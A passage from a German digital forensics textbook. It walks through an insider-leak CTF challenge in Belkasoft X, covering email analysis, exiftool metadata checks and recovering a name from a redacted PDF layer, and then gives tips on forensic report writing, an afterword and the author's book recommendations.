Dies können wir auch mit Windows -> User name and Sid list (ebenfalls im Overview Tab) bestätigen. Der Unterschied zwischen dem Overview und Structure Tab bei den Artefakten ist, dass Overview alle Artefakte einer Kategorie zusammenfasst. So können wir schnell einen Überblick erhalten und wenn wir genau wissen wollen woher der Eintrag stammt, können wir nach einem Rechtsklick den Punkt Show on Structure auswählen, und wir springen zur entsprechenden Stelle in der Strukturansicht um zu sehen woher genau der Eintrag stammt. Wenn wir gerade im Overview-Tab sind, können wir uns auch die Passwörter ansehen:
Auch hier sehen wir wieder weitere Bestätigungen für den Namen des Users und wir sehen ein Passwort (123) das wir später eventuell bei verschlüsselten Dokumenten oder Dateien versuchen können. User verwenden gern für verschiedenste Dinge das gleiche Passwort... 2) Was ist die Adresse der Firma (Baby): Das ist eine typtische CTF-Situation. Im Grunde soll man hier nur die Webseite praivacymatrix.com aufrufen und die Züricher Adresse der Firma herauskopieren.
382
Praktisch war mir nicht klar was genau gesucht wird und ich habe sehr viel Zeit damit verschwendet Unterlagen wie einen Arbeitsvertrag von Anit, Bewerbungen, etc. zu suchen bis ich dann auf folgende E-Mail stieß: Dear Anit, You have no granted access to this kind of information. For the first time there won't be any penalty to you, but we will be watching your activity in case you try to get access to this documentation you're not authorized to. John. From: [email protected] Sent: 05 November 2020 14:21 To: [email protected] Subject: Technical documentation Hey John, I've been requested to review a couple of files. But unfortunately, I couldn't find the last file in the list - new technical documentation. Could you help me find this file and send it to me? I would be very grateful! Anit Ghosh.
Dann war es klar das Anit für Praivacymatrix arbeitet. Oftmals sind Aufgaben oder Dinge nicht ganz klar und im realen Leben wäre es bei unklaren Aufgaben völlig normal nachzufragen und man wüsste natürlich auch wer der Auftraggeber ist und für wenn genau Anit arbeitet. Am Tag der Challenge wäre es sogar möglich bei Belkasoft nachzufragen aber der ist bereits vorbei. Zumindest sind derartige Dinge eine gute Übung für Ihre Beharrlichkeit und Geduld. Abgesehen davon haben wir damit den Namen nochmals und die Vermutung das dies eine geschäftliche E-Mail-Adresse ist bestätigt.
383
3) Wann interessierte sich Anit zum ersten Mal für Firmengeheimnisse (Warmup): Die verschwendete Zeit bei der eigentlich wirklich kinderleichten Frage nach der Adresse hat mir hier aber einige Zeit erspart... Dank der E-Mail weiß ich nun, dass die Firmengeheimnisse bzw. die in der kurzen Einleitung erwähnten "technical documents" wahrscheinlich die technische Dokumentation ist. Also starte ich eine Suche (STRG + F) nach "documentation" und ich finde folgendes:
Scheinbar ist die gefundene E-Mail schon die Antwort auf die Frage. Wir müssen nur die von Anit gesendete E-Mail aus dem Sent-Ordner heraussuchen und dann können wir uns die Header der E-Mail ansehen um das Datum zu kopieren. Dazu öffnen Sie Emails -> ImapMail -> mail.praivacymatrix.com -> Sent in den Artefakten in der Structure Ansicht. Wählen Sie dann die entsprechende E-Mail und den Reiter Haeders:
384
Das markierte Datum ist die gesuchte Antwort. 4) Welche drei Angestellten sollten befragt werden (Warmup): Da Anit offenbar versuchte einen Kollegen zu "überreden" ihm die Dokumentation zu senden konzentriere ich mich zuerst auf die gesendeten E-Mails und ich finde hier drei interessante Nachrichten mit drei Kollegen: a) John Finney - Thu, 05 Nov 2020 14:21:56 -0500 Hey John, I've been requested to review a couple of files. But unfortunately, I couldn't find the last file in the list - new technical documentation. Could you help me find this file and send it to me? I would be very grateful!
Diese Nachricht kannten wir bereits. Wobei die Antwort von John folgenden Zeitstempel hat: Thu, 05 Nov 2020 15:12:36 -0500 John hat Anit um 15:12 darauf hingewiesen, dass er nicht berechtigt ist auf die Dokumentation zuzugreifen. Das macht die nächste gefundene E-Mail noch viel interessanter... b) Noelle Johnson - Thu, 05 Nov 2020 14:50:38 -0500 Hey Noelle, I need your help! I accidentally deleted the new technical documentation from my laptop. Literally erased it. I tried to get it from the corp server but couldn't do that. Could you help me get it? Send me a copy please! I will be very happy!
385
Knapp 30 Minuten nachdem er John gefragt hat, bittet er Noelle darum ihm die techn. Dokumentation zuzusenden. Jetzt behauptet er allerdings, dass er diese bereits hatte und sie versehentlich löschte. Wir haben also zwei Anfragen an zwei Kollegen und das mit unterschiedlichen Geschichten. Die nächste E-Mail ist noch mysteriöser... c) Rachel Corbin - Tue, 13 Oct 2020 09:45:44 -0500 Why they can not make the advance payment? How can we trust them or being confortable to get the money if for any reason they face operational issue during the first month? I am not really confortable in this situation. They already negotiated the price a lot. Now they moved on the first payment issue... And this can become a standard request from Nice.
Hier ist die Rede von einer Vorauszahlung und Anit äußert seine Sorge, dass es keine Zahlung geben könnte falls "sie" anfänglich Schwierigkeiten hätten. Zumindest klingt es nicht nach einer normalen Konversation zwischen Kollegen, schon gar nicht, wenn der eine ein Entwickler ist. Sorgen über die Einhaltung eines Zahlungsplans von Partnern wären eher Sache der Projektleiter oder des Managements. Also sehe ich mir die weiteren E-Mails von Rachel und Anit an... Unter anderem finde ich folgende Nachricht (24 Nov 2020 16:45:39 -0500): I'm not sure if its normal, it never takes more than 3 days. I'm sure we made the deposit, do we need something else than the transaction ID? Thanks.
Noelle und John sollten definitiv wegen der Anfragen befragt werden und Rachel setze ich wegen diesen mysteriösen E-Mails auf die Liste.
386
5) Der SHA256 Hash der Dokumentation am Laptop (Baby): Wir wissen bisher, dass Anit am 05.11. zuerst versuchte an die Dokumentation zu kommen und am 16.11. kam der Firma zu Ohren, dass jemand versuchte an die Dokumentation zu kommen. Wir wissen zwar nicht, ob Anit bis dahin Erfolg hatte oder nicht aber ich entscheide mich mir alle Dokumente aus diesem Zeitraum anzusehen und falls dies nichts ergibt, auch die Dokumente die nach dem 16.11. erstellt wurden. Hierbei ist es wichtig, dass wir zwischen Erstellungsdatum der Datei (zB aus eingebetteten Metadaten) und dem Erstellungsdatum aus dem Dateisystem unterscheiden. Ersteres besagt wann die Datei selbst erstellt wurde und letzteres besagt wann die Datei auf den Rechner kopiert wurde. Die Filter ergaben nichts. Auch nicht im Zeitraum vom 16.-30.11. und nichts, wenn wir nach dem Zugriffs- oder Modifikationsdatum suchen! Normalerweise ist dies ein guter Ansatz aber hier wurden die Daten erst Monate später erstellt und auf die Zeitstempel wurde nicht geachtet. Das kann ihnen aber auch als Anti Forensik Maßnahme begegnen. Jemand könnte die Zeitstempel so manipulieren, dass Sie aussagen, eine Datei wäre bereits Jahre vor dem Ereignis am Computer gewesen. Zeitstempeln kann man nicht immer trauen und wenn Sie so nichts finden, dann sollten Sie genauer von Hand suchen. Bevor ich die einzelnen Verzeichnisse von Hand durchsuche nutze ich nochmals die Übersicht aller Dokumente und filtere hier auf alle Typen von Dokumenten die für mich Sinn machen würden. Nachdem ich alle DOC-, XLS-, PDF-, PPT- und RTF-Dateien durchgesehen habe, fand ich folgende Dateien: 1) Technical_Documentation_v1.0_3.pdf Da diese Datei von 2010 ist schließe ich diese aus. 2) ci-technical-documentation-2014_2.pdf Diese Datei ist von 2014 und beschäftigt sich mit dem Klimawandel. Also ist das auch eine Niete...
387
3) Doc_-_13_Feb_2021_-_13-40_3.pdf Das ist die gesuchte Datei. Normalerweise weiß man genauer wonach man sucht und man hat bestimmte Schlagwörter wie Produkt- und Projektnamen nach denen man suchen kann. Das bringt uns zur Frage 6... 6) Wer hat das Dokument geleakt (Tricky): Zuerst extrahiere ich das PDF um die Metadaten mit Exiftool zu lesen: mb@FOR1:/mnt/d/Images/CTF_Insider$ exiftool Doc_-_13_Feb_2021_-_1340_3.pdf ExifTool Version Number : 11.88 MIME Type : application/pdf PDF Version : 1.4 Linearized : No Page Count : 7 XMP Toolkit : DynaPDF 4.0.48.135, http://www.dynaforms.com Producer : RAD PDF 3.19.1.1 - https://www.radpdf.com Create Date : 2021:02:13 17:38:32Z Creator Tool : PDFescape Online - https://www.pdfescape.com Metadata Date : 2021:02:13 17:38:32Z Modify Date : 2021:02:13 17:38:32Z Document ID : uuid:f5d33589-54e3-32e3-bb49-9f91e477aec7 Version ID : 1 Rendition Class : default Creator : PDFescape Online - https://www.pdfescape.com
Damit sehen wir zumindest wann die Daten für die CTF-Challenge erstellt wurden und mit welchen Tools. Ok, wäre der Mitarbeitername in den Exif-Daten zu finden würde Belkasoft die Schwierigkeit nicht als "Tricky" einstufen. Also sehe ich mir das PDF genauer an und Entdecke folgendes am Ende der zweiten Seite:
388
Auf einer weiteren Seite sehe ich dann das:
Prin... und Empl... klingen schon mal vielversprechend. Scheinbar wurden
hier ausgedruckte Dokumente die für jeden Mitarbeiter personalisiert waren eingescannt. Es sieht so aus als wäre der Umschlagkarton, der zum Abdecken benutzt wurde, verrutscht und darum mussten die Bilder nachträglich editiert werden... Da in PDFs andere Dateien eingebettet werden können, hoffe ich den Mitarbeiternamen in den EXIF-Daten der eingebetteten Bilder oder eingebetteten Vorschaubildern in den PDFs zu finden. Da ich bereits alle Analysen laufen ließ, sollten auch die Bilder aus diesem PDF bereits extrahiert sein. Darum rufe ich bei den Artefakten in der Overview-Ansicht Den Punkt "Bilder" auf. Hier haben wir allerdings über 12.000 Bilder in diesem Image. Alle Analysen ausgeführt zu haben hilft mir hier auch wieder. Denn nun kann ich mit dem Unterpunkt Pictures -> Text alle Bilder aufrufen die Text enthalten und das sind nur etwas über 400. Recht schnell finde ich dann folgendes: 389
Ich brauche mir gar nicht die EXIF-Daten des Bildes ansehen. Da wir hier eine modernere PDF-Version haben, die Ebenen unterstützt, hat Mark Zukko das schwarze Viereck nicht auf das Bild, sondern in eine eigene Ebene eingefügt. Das eingebettete Originalbild zeigt also noch immer seinen Namen:
Auch hier überlasse ich Ihnen die weiteren Fragen als kleine Übung. Ich hoffe mit dieser kleinen Einführung wurde nicht nur klar wie man mit professionellen Tools wie Belkasoft X arbeitet und wie diese die Arbeit erleichtern, sondern auch wie man die ganzen bisher gelernten Dinge kombinieren kann. Derartige Challenges sind eine gute Übung aber man kann auch aus Aufgaben die man nicht lösen konnte wieder viel lernen denn in der Regel findet man kurz nach der Challenge die ersten "Write-Ups" mit Lösungen.
390
So bekommt man auch einen Einblick in die Arbeitsweise und Lösungen anderer Forensiker und kann von erfahreneren Berufskollegen lernen. Ich sehe mir auch gerne mehrere Write-Ups von Challenges an, selbst wenn ich sie schon gelöst habe. Oftmals finde ich darin Ansätze an die ich nicht gedacht habe und alternative Lösungswege. Auch so lernt man immer wieder dazu...
391
TIPPS ZUM SCHREIBEN VON BERICHTEN Auch wenn das Schreiben von Reporten eine der unbeliebtesten Aufgaben bei einer forensischen Untersuchung ist, sollten Sie dies keinesfalls bis zum Ende der Untersuchung aufschieben! Dies führt oft dazu, dass Sie Ihr Vorgehen bei der gesamten Analyse ReverseEngineeren müssen und dann ist die Gefahr sehr groß, dass Sie Details vergessen oder Zwischenschritte auslassen und damit wäre der Bericht für einen anderen IT-Forensiker nicht nachvollziehbar und damit im schlimmsten Fall auch nicht gerichtsverwertbar! Wenn Sie Verweise auf Artikel, Bücher oder die technische Dokumentation von etwas im Report verwenden, kopieren Sie diese nicht einfach von einem älteren Report, sondern prüfen Sie auch ob URLs noch erreichbar und Dokumente noch zum Download verfügbar sind. Ein weiterer Fehler ist das Verwenden von absoluten Aussagen. Der Bericht einer Analyse ist die Interpretation der Daten durch Sie als Forensiker. Verwenden Sie daher lieber Formulierungen wie zB: "Daraus schließe ich ..." oder "Das führt mich zu der Schlussfolgerung ...". Es ist sehr hilfreich eine generelle Vorlage für Berichte zu haben und diese bei jedem Bericht zu verwenden. Das macht es Ihnen leichter sich bei einer Aussage zurechtzufinden, wenn Sie Daten nachlesen müssen und hilft Ihnen dabei konstant gute Berichte abzuliefern. Es spricht natürlich nichts dagegen, wenn im Laufe der Zeit weitere Abschnitte in eine solche Vorlage einfließen und sich diese weiter verbessert. Ihr Bericht soll technische Sachverhalte festhalten und Ihre Schlussfolgerungen daraus klar, sachlich und verständlich darlegen. Stilistische Meisterleistungen sind dabei nicht so wichtig wie gute Lesbarkeit. Halten Sie die Sätze lieber einfacher und verzichten Sie auf zeilenlange Schachtelsätze. Denken Sie auch daran wer den Bericht lesen wird. Ich empfehle es Ihnen technische Sachverhalte so einfach wie möglich zu erklären und Notfalls Fachbegriffe gleich zu erklären. Sie können unwichtige Details auch guten Gewissens weglassen und sich auf das wesentliche konzentrieren. Es macht keinen Sinn bei einer Frage zum Absender einer E-Mail oder zur Herkunft eines Datenpakets mit dem OSI-Schichtmodell zu beginnen und die Funktionsweise der jeweiligen Layer zu erklären. 392
Fügen Sie dann die entsprechenden Auszüge aus dem E-Mail-Header, Paketdumps, etc. gerne mit Ihren Anmerkungen als Anlage dem Bericht hinzu. Diese sind in der Regel nur für andere Techniker interessant. Es ist in der Regel auch empfehlenswert ein alphabetisch sortiertes Stichwortverzeichnis als Anlage beizufügen. Darin können Sie für Laien verständlich Bestimmte Begriff erklären. Vergessen Sie dann aber nicht bei bestimmten Begriffen darauf hinzuweisen. Sie müssen bedenken, dass viele den Bericht nicht von Anfang bis Ende lesen und daher allgemeine Vorbemerkungen oder dergleichen gar nicht beachten. Es ist dennoch als rechtliche Absicherung zu empfehlen zB in Allgemeinen Vorbemerkungen darauf hinzuweisen, dass beispielsweise verwendete Begriffe wie "Computersabotage" oder "Betrug" nicht als rechtliche Wertung, sondern lediglich als Beschreibung zu verstehen sind. Rechtliche Wertungen stehen Ihnen als IT-Forensiker nicht zu und Anwälte greifen oftmals nach derartigen Strohhalmen um Gutachten zu entkräften. Daher halte ich derartige Vorbemerkungen in meiner Vorlage immer auf dem aktuellen Stand und erweitere diese bei Bedarf. Bedenken Sie auch zu dokumentieren was Sie nicht gemacht haben und warum Sie diese Dinge unterlassen haben. Benennen Sie Dinge einheitlich - Quellcode, Sourcecode und Programmcode sind Synonyme für ein und dieselbe Sache aber Ihr Bericht soll auch von Leuten verstanden werden die weniger mit IT zu tun haben. Beschränken Sie sich auf einen der Begriffe und verwenden Sie diesen immer und überall auch wenn der Text dadurch stilistisch leidet. Sie schreiben einen Bericht und keinen Roman! Achten Sie auch darauf, dass das Datumsformat einheitlich ist - unterschiedliche Tools können in Ihren Ausgaben unterschiedliche Datumsformate verwenden: TT.MM.JJJJ und MM.TT.JJJJ führen beispielsweise beim 03.05.2021 zu Verwir-
rung. Kopieren Sie ein Datum nicht einfach aus Ihren Auswertungen heraus, sondern prüfen Sie auch ob das Format einheitlich ist und formatieren Sie ein Datum bei Bedarf um! Ein Bericht sollte immer ein Titelblatt mit den wichtigsten Angaben wie Datum, Fallnummer, etc. haben. Das ist wichtig um Berichte leichter zu finden und auf den ersten Blick zu sehen ob dieser auch dem Letztstand entspricht.
393
Weiters ist meiner Meinung nach ein Inhaltsverzeichnis unverzichtbar damit man bestimmte Abschnitte schnell finden kann. Wenn Sie über Details der Analysen sprechen, sollten Sie unbedingt darauf achten auch die verwendeten Programme, Werkzeuge und die jeweiligen Versionen zu erwähnen. Je nach den wofür der Bericht ist, kann es sinnvoll sein einen Abschnitt einzufügen in dem Sie erklären was Ihrer Meinung nach passiert ist und zB in Falle eines CSIRT-Berichts wie derartige Vorkommnisse in Zukunft verhindert werden können. (Executive Summary) Manager wollen sich nicht in die Details einlesen, sondern nur wissen was passiert ist, wie dies in Zukunft verhindert werden kann und was das kosten wird. Anwälte und Richter müssen verstehen was passiert ist und welche Beweise wie zu würdigen sind. Sie wollen sich nicht mit dem händischen Decodieren von $MFT-Einträgen beschäftigen müssen. Im Gegenteil derartige Details an der falschen Stelle sorgen meist für Missverständnisse und Verwirrung! Andere IT-Forensiker müssen genau nachvollziehen können was Sie gemacht haben und wie Sie zu den Ergebnissen kamen und IT-Techniker und Administratoren müssen verstehen was genau passiert ist um zB Firewall-Regeln oder Konfigurationen entsprechend anzupassen.
394
395
NACHWORT In den meisten Fällen werden sich Beginner nicht den Luxus von mehreren teuren Forensik-Tools leisten und eventuell nur mit einem kommerziellen Tool arbeiten. Darum habe ich Ihnen auch so viele kostenlose Tools zur Analyse einzelner Artefakte vorgestellt. Im Idealfall wird ein Forensiker die Daten von Hand überprüfen aber dies würde auch bedeuten, dass er verschiedenste Datenformate von Hand dekodieren muss. Die von Ihnen verfassten Berichte tragen aber zu einem sehr großen Teil dazu bei, dass eine Person entlassen oder sogar verurteilt wird. Daher müssen Sie als IT-Forensiker mit größtmöglicher Sorgfalt arbeiten! Diese Sorgfalt gebietet es Ihre gefundenen Ergebnisse mit zumindest einem oder zwei weiteren Tools zu überprüfen um eventuelle Bugs im Tool Ihrer Wahl auszuschließen. Wenn zwei oder noch besser drei verschiedene Tools zum gleichen Ergebnis kommen, kann man die Daten mit sehr hoher Wahrscheinlichkeit als korrekt ansehen. Man muss allerdings auch sagen, dass der Einsatz von zwei vollwertigen Forensik-Suites einige Vorteile bringt. Ein weiteres Tool kann andere Analysen anbieten und Sie auf andere Dinge aufmerksam machen. Vor allem als Beginner würde ich zumindest anfangs mit Autopsy und einem zusätzlichen kommerziellen Tool arbeiten... Belkasoft ist hierbei mächtiger und hat vor allem bei der Bildanalyse mit einer
KI und der besseren Linux-Unterstützung ein paar Vorteile. Ob diese den Aufpreis zu OSForensics wert sind oder nicht, hängt von Ihrem Einsatzgebiet ab!
Sehen Sie die in diesem Buch genannten Listen von Speicherorten und Registry-Einträgen bitte keinesfalls als vollständig an. Diese können sich mit der nächsten Windows- oder Programmversion oder auch mit einem Update ändern. Dies gilt natürlich auch für die verwendeten Formate, etc. Ich würde Ihnen empfehlen sich ein Netzwerk aufzubauen mit Berufskollegen mit denen Sie sich austauschen können. Zumindest sollten Sie in diversen Foren mitlesen und bei Bedarf Fragen stellen. Das Abonnieren diverser Newsletter ist ebenfalls eine gute Möglichkeit auf dem Laufenden zu bleiben und über Neuerungen informiert zu werden. 396
Bedenken Sie bei der Arbeit immer, dass Forensik als "Anwendung wissenschaftlicher Methoden zur Beantwortung von Fragen" definiert wird und die wissenschaftliche Arbeitsweise diktiert folgenden groben Ablauf: 1. 2. 3. 4.
Observation Entwickeln einer Hypothese Entwickeln einer Methode diese Hypothese zu beweisen Testen der Hypothese
Bestätigt dieser Test die Hypothese dann können Sie die Ergebnisse veröffentlichen, falls nicht nutzen Sie das Ergebnis des Tests und die Daten um die Hypothese anzupassen oder eine gänzlich neue Hypothese aufzustellen und testen Sie diese wiederum. Da wir hierbei Großteiles Tools nutzen um unsere Hypothesen zu prüfen, ist es ebenso wichtig sich nicht nur auf ein Tool zu verlassen, vor allem wenn es dann genau das Tool ist, dass uns auch dabei half diese Hypothesen zu entwickeln! Seien Sie also unbedingt unvoreingenommen und offen für abweichende Ergebnisse und prüfen Sie im Zweifelsfall doppelt und dreifach um festzustellen welches der Ergebnisse nun stimmt.
397
BUCHEMPFEHLUNGEN Python ist eine leicht zu erlernende und dennoch eine sehr vielfältige und mächtige Programmiersprache. Lernen Sie mit der bevorzugten Sprache vieler Hacker, Ihre eigenen Tools zu schreiben und diese unter Kali-Linux einzusetzen, um zu sehen, wie Hacker Systeme angreifen und Schwachstellen ausnutzen. Durch das Entwickeln Ihrer eigenen Tools erhalten Sie ein deutlich tiefgreifenderes Verständnis, wie und warum Angriffe funktionieren. Nach einer kurzen Einführung in die Programmierung mit Python lernen Sie anhand vieler praktischer Beispiele die unterschiedlichsten Hacking-Tools zu schreiben. Sie werden selbst schnell feststellen, wie erschreckend einfach das ist.
ISBN: 978-3748165811 Verlag: BOD
Durch Einbindung vorhandener Werkzeuge wie Metasploit und Nmap werden Skripte nochmals effizienter und kürzer. In diesem Buch versuche ich dem Leser zu vermitteln, wie leicht es mittlerweile ist, Sicherheitslücken mit diversen Tools auszunutzen. Daher sollte meiner Meinung nach jeder, der ein Netzwerk oder eine Webseite betreibt, ansatzweise wissen, wie diverse Hackertools arbeiten, um zu verstehen, wie man sich dagegen schützen kann. Selbst vor kleinen Heimnetzwerken machen viele Hacker nicht halt.
ISBN: 978-3751969925 Verlag: BOD
398
Wenngleich das Thema ein sehr technisches ist, werde ich dennoch versuchen, die Konzepte so allgemein verständlich wie möglich erklären. Ein Informatikstudium ist also keinesfalls notwendig, um diesem Buch zu folgen. Dennoch will ich nicht nur die Bedienung diverser Tools erklären, sondern auch deren Funktionsweise so weit erklären, dass Ihnen klar wird, wie das Tool arbeitet und warum ein bestimmter Angriff funktioniert.
Assembler, die Maschinensprache, gilt als eine sehr schwer zu erlernende Programmiersprache. Ich will Ihnen mit diesem Buch zeigen, dass Assembler gar nicht so schwer ist. Assembler ist anders und funktioniert nicht wie moderne Hochsprachen, aber wenn Sie erst einmal verstanden haben, wie man damit arbeitet, verliert Assembler den Schrecken. In diesem Buch erwartet Sie ein praktischer Einstieg in die Programmierung mit Assembler. Ohne uns langwierig durch die theoretischen Grundlagen zu quälen, legen wir gleich los und sehen uns anhand von praktischen Beispielen an, wie Assembler und die Maschinenbefehle arbeiten. Dabei beleuchten wir die Stolpersteine und Herausforderungen bei dieser Art der Programmierung. Dazu nutzen wir moderne 64-Bit Intel-Architektur unter Linux.
ISBN: 978-3751960120 Verlag: BOD Zu keinem anderen Teilbereich in der IT grassiert so viel Halbwissen wie bei Datenrettungen! Ich will mit diesem Buch interessierten die Grundlagen und wichtigsten Zusammenhänge so verständlich wie möglich nahebringen und ein grundlegendes Verständnis für die Vorgänge im inneren der Datenträger schaffen. Dabei zeige ich Ihnen Schritt für Schritt, welche Tools für welche Probleme geeignet sind. Neben logischen Problemen behandeln wir das Klonen mit spezieller Hardware, Firmware-Probleme und Reinraum-Datenrettungen.
ISBN: 978-3755759324 Verlag: BOD
Dieses Buch ist eine komplette Einführung in die Arbeit als professioneller Datenretter.
399